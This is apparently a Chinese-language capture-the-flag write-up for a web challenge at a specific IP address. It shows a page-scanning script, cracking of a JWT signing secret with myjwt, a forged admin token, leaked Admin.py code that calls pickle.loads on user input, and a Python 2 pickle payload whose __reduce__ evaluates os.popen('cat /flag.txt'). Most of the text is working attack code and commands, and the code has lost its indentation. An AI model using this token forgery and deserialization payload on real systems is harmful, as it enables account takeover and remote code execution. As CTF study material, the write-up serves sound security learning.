import requests
target = "http://111.200.241.244:61777/shop?page=%d"
for i in range(500):
print(i)
res = requests.get(target%(i)).text
if "lv6.png" in res:
print(target%(i))
break
http://111.200.241.244:61777/shop?page=181
发现只有更改discount参数有效果,跳转到http://111.200.241.244:61777/b1g_m4mber界面,然而此页面有权限限制。此时主要有两种思路1、看看有无sql注入的洞,能不能拿到admin账号。2、伪造admin的jwt。
未找到注入漏洞,后来获得源码后看到其为orm查询,使用了 ORM 之后,Relational DB 的接口被完全封装在 ORM 机制内部,不对外暴露,当然防止了 SQL 注入攻击
user = self.orm.query(User).filter(User.username == username).one()
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3ZSJ9.U_RNAhBZvEMY1nwmWWeA3Vh50ghzJb0R7qV-uAS1V78
jwt(json web token)类似于session也是会话保持的一种技术,由三个部分组成,由**.分隔,第一部分为头部(header),第二部分为载荷(payload),第三部分是签名(signature).前两个部分都为base64加密,而第三部分签名由header指定的加密算法加盐**加密(secret key),通常直接使用 HMAC SHA256.
详见blog:什么是 JWT – JSON WEB TOKEN - 简书 (jianshu.com)
用myjwt工具爆破出盐值secret_key,还有一种c-jwt-cracker的工具更方便,不用指定正则和字典。
工具用法:[MyJWT-Json网站令牌渗透测试工具Json Web Token(JWT) | 雨苁ℒ (ddosi.com)](https://www.freebuf.com/sectool/262183.html)
# 爆破
myjwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3ZSJ9.U_RNAhBZvEMY1nwmWWeA3Vh50ghzJb0R7qV-uAS1V78 --crack "[A-Za-z0-9]{4}"
# 更换payload
myjwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3ZSJ9.U_RNAhBZvEMY1nwmWWeA3Vh50ghzJb0R7qV-uAS1V78 --add-payload "username=admin" --sign 1Kun
new JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
成功登录为admin
可以看到有代码泄漏
在泄漏的源代码文件Admin.py中,存在python反序列化漏洞
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
payload脚本 ,此处靶机用python2,linux,最好也用相同的环境生成payload
class A(object):
def __reduce__(self):
# a = "__import__('os').popen('ls').read()"
# a = "__import__('os').popen('ls').read()"
a = "__import__('os').popen('cat /flag.txt').read()"
return (eval,(a,))
print(urllib2.quote(pickle.dumps(A())))